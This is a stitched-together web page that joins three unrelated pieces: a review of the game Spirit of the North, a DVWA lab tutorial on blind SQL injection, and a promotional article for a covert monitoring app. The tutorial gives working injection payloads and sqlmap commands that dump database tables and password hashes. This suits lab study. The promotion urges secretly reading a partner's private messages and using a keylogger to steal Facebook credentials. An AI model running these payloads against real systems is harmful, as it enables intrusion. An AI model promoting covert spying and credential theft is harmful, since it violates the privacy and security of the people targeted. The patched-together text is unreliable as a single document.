Rock Climbing

Spirit Of The North Review (NSW)

Written by Patrick Orquia

Title: Spirit of the North
Developer: Infuse Studio
Publisher: Merge Games
Genre: Adventure, Platformer, Puzzle
Number of Players: 1
Platform: Nintendo Switch
Release Date: May 07, 2020
Price: $24.99

Spirit of the North is an adventure game where you play as a red fox following the titular Spirt of the North in a big adventure that will have you solving puzzles in order for you to traverse a land and solve its mysteries. It has beautiful visuals in its backdrop and overall aesthetics and has a hauntingly relaxing musical score. The game has been released on other platforms already and this port on Switch is not the best-looking and not smoothest in terms of performance, as expected, but it still is a worthwhile game to play.

The game doesn't use any form of voiced narration; the storytelling presented mostly in symbols and hints in the environment. The game is also very linear, but with the lack of signposting, could be a bit confusing and will make you get lost, but you will surely find your way again if you know where to look at and what to look for. The game is divided into 8 chapters, and each of them can be selected on the main menu and replayed once you have completed them.

At the start of the game, you meet the Spirit of the North which encourages you to go through a journey across the land that is probably inspired by some old Scandinavian country with its glaciers and mountains and rivers with a few broken down stone fortresses scattered throughout. Your goal is to reach a faraway mountain top that emits a red fume that slowly poisons the land. You start on a wide open snow field and soon transition to other types of environment, like caverns, grasslands, rivers, etc. On the way to the mountain, you will have to solve area puzzles for you to be able to progress from one area to the next. You can run and jump and bark, and as you progress further into the game, you get to acquire new abilities, like ability to carry and transfer light, rid certain areas of corruption, ability to conjure ice spirits, dash, and ride the wind. The light transferring mechanic is the main ability that you will learn early in the game. You carry and transfer light to pillars, murals, switches, and doors that comprise the area puzzles. The chapter gets completed when you have solved all the puzzles within it, and you transition to the next chapter right away.

The main gameplay is very similar to that of the Zelda games but with a big caveat: there is no combat in the game. Despite that, solving the puzzles can be quite fun and could be a bit challenging at times, especially in the latter chapters. The puzzles are not too difficult to figure out in general, despite the lack instructions and narration. You just have to be very observant of your environment and let your deductive reasoning skills work overtime. Aside from the puzzles, you can also try to unite staffs found on your journey with their dead shaman owners scattered across the land, most of them hidden. There are 28 in total, and you get unlockable skins for the fox. The skins are purely cosmetic, but this is the only collectible in the game and it could give you a respite from the puzzles, since they can get really tricky due to the lack of handholding in the game.

Overall, Spirit of the North is a beautiful game, with its breath-taking visuals and hauntingly beautiful musical score. I felt happy and relaxed upon finishing the game. I didn't really get what the story is about, but I guess it is the journey and not the destination that matters. This game is quite an experience for me, and it is easy to recommend to others. Well, maybe wait for a sale, as it is quite expensive for its length (the game can be completed in about 5 hours) and this version on Switch has quite a few technical issues here and there and is not as good-looking as the versions on other platforms. But regardless of how you get it and where you play it on, I hope that you have a wonderful time playing the game like I did. Let the fox in you roam free!

REPLAY VALUE: Medium

PROS

Beautiful, sublime visuals
Hauntingly relaxing musical score
Challenging puzzles
Short in length but well-paced
Unusual yet engaging storytelling
Button prompts are presented to assist the player in interacting with the environment

CONS

Frequent pop-ins
Frequent frame rate drops
Quite expensive for its length
Floaty controls
The animation look rough at times (at least on the Switch version)
Frustrating platforming sections
Wide open spaces are wasted since the game is very linear

RATING: 3.5/5 Foxes in ice and fire

Learning Web Pentesting With DVWA Part 3: Blind SQL Injection

In this article we are going to do the SQL Injection (Blind) challenge of DVWA.
OWASP describes Blind SQL Injection as:
"Blind SQL (Structured Query Language) injection is a type of attack that asks the database true or false questions and determines the answer based on the applications response. This attack is often used when the web application is configured to show generic error messages, but has not mitigated the code that is vulnerable to SQL injection.

When an attacker exploits SQL injection, sometimes the web application displays error messages from the database complaining that the SQL Query's syntax is incorrect. Blind SQL injection is nearly identical to normal , the only difference being the way the data is retrieved from the database. When the database does not output data to the web page, an attacker is forced to steal data by asking the database a series of true or false questions. This makes exploiting the SQL Injection vulnerability more difficult, but not impossible."

To follow along click on the SQL Injection (Blind) navigation link. You will be presented with a page like this:

Lets first try to enter a valid User ID to see what the response looks like. Enter 1 in the User ID field and click submit. The result should look like this:

Lets call this response as valid response for the ease of reference in the rest of the article. Now lets try to enter an invalid ID to see what the response for that would be. Enter something like 1337 the response would be like this:

We will call this invalid response. Since we know both the valid and invalid response, lets try to attack the app now. We will again start with a single quote (') and see the response. The response we got back is the one which we saw when we entered the wrong User ID. This indicates that our query is either invalid or incomplete. Lets try to add an or statement to our query like this:

' or 1=1-- -

This returns a valid response. Which means our query is complete and executes without errors. Lets try to figure out the size of the query output columns like we did with the sql injection before in Learning Web Pentesting With DVWA Part 2: SQL Injection.
Enter the following in the User ID field:

' or 1=1 order by 1-- -

Again we get a valid response lets increase the number to 2.

' or 1=1 order by 2-- -

We get a valid response again lets go for 3.

' or 1=1 order by 3-- -

We get an invalid response so that confirms the size of query columns (number of columns queried by the server SQL statement) is 2.
Lets try to get some data using the blind sql injection, starting by trying to figure out the version of dbms used by the server like this:

1' and substring(version(), 1,1) = 1-- -

Since we don't see any output we have to extract data character by character. Here we are trying to guess the first character of the string returned by version() function which in my case is 1. You'll notice the output returns a valid response when we enter the query above in the input field.
Lets examine the query a bit to further understand what we are trying to accomplish. We know 1 is the valid user id and it returns a valid response, we append it to the query. Following 1, we use a single quote to end the check string. After the single quote we start to build our own query with the and conditional statement which states that the answer is true if and only if both conditions are true. Since the user id 1 exists we know the first condition of the statement is true. In the second condition, we extract first character from the version() function using the substring() function and compare it with the value of 1 and then comment out the rest of server query. Since first condition is true, if the second condition is true as well we will get a valid response back otherwise we will get an invalid response. Since my the version of mariadb installed by the docker container starts with a 1 we will get a valid response. Lets see if we will get an invalid response if we compare the first character of the string returned by the version() function to 2 like this:

1' and substring(version(),1,1) = 2-- -

And we get the invalid response. To determine the second character of the string returned by the version() function, we will write our query like this:
1' and substring(version(),2,2) = 1-- -
We get invalid response. Changing 1 to 2 then 3 and so on we get invalid response back, then we try 0 and we get a valid response back indicating the second character in the string returned by the version() function is 0. Thus we have got so for 10 as the first two characters of the database version. We can try to get the third and fourth characters of the string but as you can guess it will be time consuming. So its time to automate the boring stuff. We can automate this process in two ways. One is to use our awesome programming skills to write a program that will automate this whole thing. Another way is not to reinvent the wheel and try sqlmap. I am going to show you how to use sqlmap but you can try the first method as well, as an exercise.
Lets use sqlmap to get data from the database. Enter 1 in the User ID field and click submit.
Then copy the URL from the URL bar which should look something like this
http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit
Now open a terminal and type this command:

sqlmap --version

this will print the version of your sqlmap installation otherwise it will give an error indicating the package is not installed on your computer. If its not installed then go ahead and install it.
Now type the following command to get the names of the databases:

sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id

Here replace the PHPSESSID with your session id which you can get by right clicking on the page and then clicking inspect in your browser (Firefox here). Then click on storage tab and expand cookie to get your PHPSESSID. Also your port for dvwa web app can be different so replace the URL with yours.
The command above uses -u to specify the url to be attacked, --cookie flag specifies the user authentication cookies, and -p is used to specify the parameter of the URL that we are going to attack.
We will now dump the tables of dvwa database using sqlmap like this:

sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id -D dvwa --tables

After getting the list of tables its time to dump the columns of users table like this:

sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id -D dvwa -T users --columns

And at last we will dump the passwords column of the users table like this:

sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id -D dvwa -T users -C password --dump

Now you can see the password hashes.
As you can see automating this blind sqli using sqlmap made it simple. It would have taken us a lot of time to do this stuff manually. That's why in pentests both manual and automated testing is necessary. But its not a good idea to rely on just one of the two rather we should leverage power of both testing types to both understand and exploit the vulnerability.
By the way we could have used something like this to dump all databases and tables using this sqlmap command:

sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id --dump-all

But obviously it is time and resource consuming so we only extracted what was interested to us rather than dumping all the stuff.
Also we could have used sqlmap in the simple sql injection that we did in the previous article. As an exercise redo the SQL Injection challenge using sqlmap.

References:

1. Blind SQL Injection: https://owasp.org/www-community/attacks/Blind_SQL_Injection
2. sqlmap: http://sqlmap.org/
3. MySQL SUBSTRING() Function: https://www.w3schools.com/sql/func_mysql_substring.asp

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How To Hack Facebook Messenger Conversation

FACEBOOK Messenger has become an exceptionally popular app across the globe in general. This handy app comes with very interactive and user-friendly features to impress users of all ages.

With that being said, there are a lot of people who are interested in knowing how to hack Facebook Messenger in Singapore, Hong Kong and other places. The requirement to hack Facebook Messenger arises due to various reasons. In this article, we are going to explain how to hack Facebook Messenger with ease.

As you may know, Facebook Messenger offers a large range of features. Compared to the initial release of this app, the latest version shows remarkable improvement. Now, it has a large range of features including group chats, video calls, GIFs, etc. A lot of corporate organizations use Facebook messenger as a mode of communication for their marketing purposes. Now, this messenger app is compatible with chatbots that can handle inquiries.

Why Hack Facebook Messenger in Singapore?

You may be interested in hacking Facebook Messenger in Singapore (or anywhere else) for various reasons. If you suspect that your partner is having an affair, you may want to hack Facebook Messenger. Or, if you need to know what your kids are doing with the messenger, you will need to hack it to have real time access.

You know that both of these situations are pretty justifiable and you intend no unethical act. You shouldn't hack Facebook Messenger of someone doesn't relate to you by any means, such a practice can violate their privacy. Having that in mind, you can read the rest of this article and learn how to hack Facebook Messenger.

How to Hack Someone's Facebook Messenger in Singapore

IncFidelibus is a monitoring application developed by a team of dedicated and experienced professionals. It is a market leader and has a customer base in over 191+ countries. It is very easy to install the app, and it provides monitoring and hacking of Facebook for both iOS and Android mobile devices. You can easily hack into someone's Facebook messenger and read all of their chats and conversations.

Not just reading the chats, you can also see the photo profile of the person they are chatting to, their chat history, their archived conversations, the media shared between them and much more. The best part is that you can do this remotely, without your target having even a hint of it. Can it get any easier than this?

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You don't need to use any unique gadget or app to track activity with IncFidelibus. It allows total web-based monitoring. All that you need is a web browser to view the target device's data and online activities.

Spying With IncFidelibus in Singapore

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IncFidelibus runs in pure Stealth mode. You can hack and monitor your target's device remotely and without them knowing about it. IncFidelibus runs in the background of your target's device. It uses very less battery power and doesn't slow down your phone.

Hacking Facebook Messenger in Singapore using IncFidelibus

Hacking Facebook Messenger has never been this easy. IncFidelibus is equipped with a lot of advance technology for hacking and monitoring Facebook. Hacking someone's Facebook Messenger is just a few clicks away!

Track FB Messages in Singapore

With IncFidelibus, you can view your target's private Facebook messages and group chats within a click. This feature also allows you to access the Facebook profile of the people your target has been interacting with. You can also get the media files shared between the two.

Android Keylogger

IncFidelibus is equipped with a powerful keylogger. Using this feature, you can record and then read every key pressed by your target on their device.

This feature can help get the login credentials of your target. You can easily log into someone's Facebook and have access to their Facebook account in a jiffy.

What Else Can IncFidelibus Do For You?

IncFidelibus control panel is equipped with a lot of other monitoring and hacking tools and services, including;

Other Social Media Hacking

Not just FB messenger, but you can also hack someone's Instagram, Viber, Snapchat, WhatsApp hack, SMS conversations, call logs, Web search history, etc.

SIM card tracking

You can also track someone SIM card if someone has lost their device, changed their SIM card. You can get the details of the new number also.

Easy Spying Possible with IncFidelibus

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